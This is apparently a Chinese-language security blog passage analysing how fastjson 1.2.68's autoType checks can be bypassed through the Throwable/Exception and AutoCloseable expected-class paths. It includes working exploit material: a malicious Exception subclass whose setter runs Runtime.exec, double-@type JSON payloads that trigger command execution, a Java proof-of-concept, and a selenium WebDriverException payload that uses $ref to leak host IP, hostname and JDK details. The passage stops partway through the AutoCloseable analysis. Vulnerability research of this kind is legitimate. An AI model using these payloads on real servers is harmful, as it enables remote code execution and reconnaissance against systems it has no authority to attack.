fastjson 1.2.68版本绕过
fastjson 1.2.68
在之前版本1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复。
TypeUtils.loadClass加了一个cache判断
而MiscCodec.deserialze调用时,cache默认为false。直接阻断了cache提前加载恶意类的攻击链路
1.2.48-1.2.67都是安全的(不手动关autoType的情况下)。随着版本的更新,直到fastjson1.2.68
又存在一个新的漏洞点,可使用expectClass
去绕过checkAutoType()
检测机制,主要使用Throwable
和AutoCloseable
来绕过
下面配置一下环境pom.xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
在1.2.68
版本下,更新了一个新的安全控制点safeMode
,如果开启的话,将在checkAutoType()
直接抛出异常。从赋值可以看出,如果设置了@type
就会抛出异常,开了safemode的直接打不了fastjson
safemode默认不开启
checkAutoType中,用getClassFromMapping从mappings读取类,并在满足第二个红框的条件下,直接return了取出的类
条件如下:
期望类expectClass不为空
typeName不是HashMap类
期望类是typeName的子类
在mappings初始化时,向其中put进了很多类,其实就是白名单了。其中就包括Exception和AutoCloseable,我们后面的攻击都基于这两个接口
有没有办法提前添加期望类呢?
注意expectClass来自checkAutoType的第二个参数:
查找用法发现JavaBeanDesrtializer.deserialze和ThrowableDeserializer.deserialze都调用了带期望类参数的checkAutoType
前者是fastjson默认反序列化器,后者是针对异常类的反序列化器
先看ThrowableDeserializer
ThrowableDeserializer
在fastjson中,先是DefaultJSONParser.parse调用ParserConfig.checkAutoType检查和获取类
然后再是获取反序列化器调用deserialze
如果这里deserializer是ThrowableDeserializer,并且下一个key为@type
的话,就会再次调用checkAutoType,但是这里是带Throwable.class作为expectClass
如果我们这里传的第一个参数exClassName是恶意的实现了Throwable子类,就能命令执行。
由于缓存mappings的白名单是Exception,正好Exception是Throwable子类,那实现Exception就能绕过
在ParserConfig.getDeserializer也能发现,Throwable子类也是返回ThrowableDeserializer作为反序列化器
不过目前没有实现Exception的库类可以进一步利用,如果可以写文件,那搭配起来就很丝滑了,假如我们向服务器写入了恶意类CalcException如下:
public class EvilException extends Exception{
private String command;
public void setCommand(String command) {
this.command = command;
try {
Runtime.getRuntime().exec(command);
}
catch (Exception e) {
e.printStackTrace();
}
}
}
JSON字符串:
{"x":
{"@type":"java.lang.Exception",
"@type":"me.mole.exception.CalcException",
"command":"calc"},
}
测试POC:
public static void main(String[] args) throws Exception
{
String payload = "{\"x\":\n" +
"\t{\"@type\":\"java.lang.Exception\",\n" +
"\t \"@type\":\"org.exploit.third.fastjson.EvilException\", \n" +
"\t \"command\":\"calc\"}, \n" +
" }";
JSON.parse(payload);
}
ThrowableDeserializer+selenium
需要有selenium依赖
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-api</artifactId>
<version>4.1.1</version>
</dependency>
org.openqa.selenium.WebDriverException类的getMessage()方法和getSystemInformation()方法都能获取一些系统信息,比如:IP地址、主机名、系统架构、系统名称、系统版本、JDK版本、selenium webdriver版本。另外,还可通过getStackTrace()来获取函数调用栈,从而获悉使用了什么框架或组件。
但是调用方法是getter,且并不满足fastjson调用的getter规则,有其他办法调用到吗?之前分析了一篇fastjson>=1.2.36 $ref调用 getter,膜Y4tacker
https://godownio.github.io/2024/10/24/fastjson-ref-diao-yong-getter/
{"x":
{"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"},
"y":{"$ref":"$x.systemInformation"},
"z":{"$ref":"$x.message"},
}
不过只是WebDriverException.getMessage并没有回显,需要目标服务器回显才能用
public class selenium_ref_1_2_68 {
public static void main(String[] args) throws Exception
{
String payload = "{\"x\":\n" +
" {\"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.openqa.selenium.WebDriverException\"},\n" +
" \"y\":{\"$ref\":\"$x.systemInformation\"},\n" +
" \"z\":{\"$ref\":\"$x.message\"}\n" +
"}";
JSONObject json = (JSONObject) JSON.parse(payload);
System.out.println(json.getString("y"));
System.out.println(json.getString("z"));
}
}
JavaBeanDeserializer
ThrowableDeserializer#deserialze调用的checkAutoType中向期望类传参是固定的,为Throwable.class
JavaBeanDeserializer#deserialze的expectClass参数是用户可控的
其中type直接来自deserialze参数
这里期望类基本都会选择AutoCloseable,原因有以下几点:
AutoCloseable不在黑名单内,且在mappings缓存表内
用到AutoCloseable的很多,其中包括了输入ObjectInput和输出ObjectOutput接口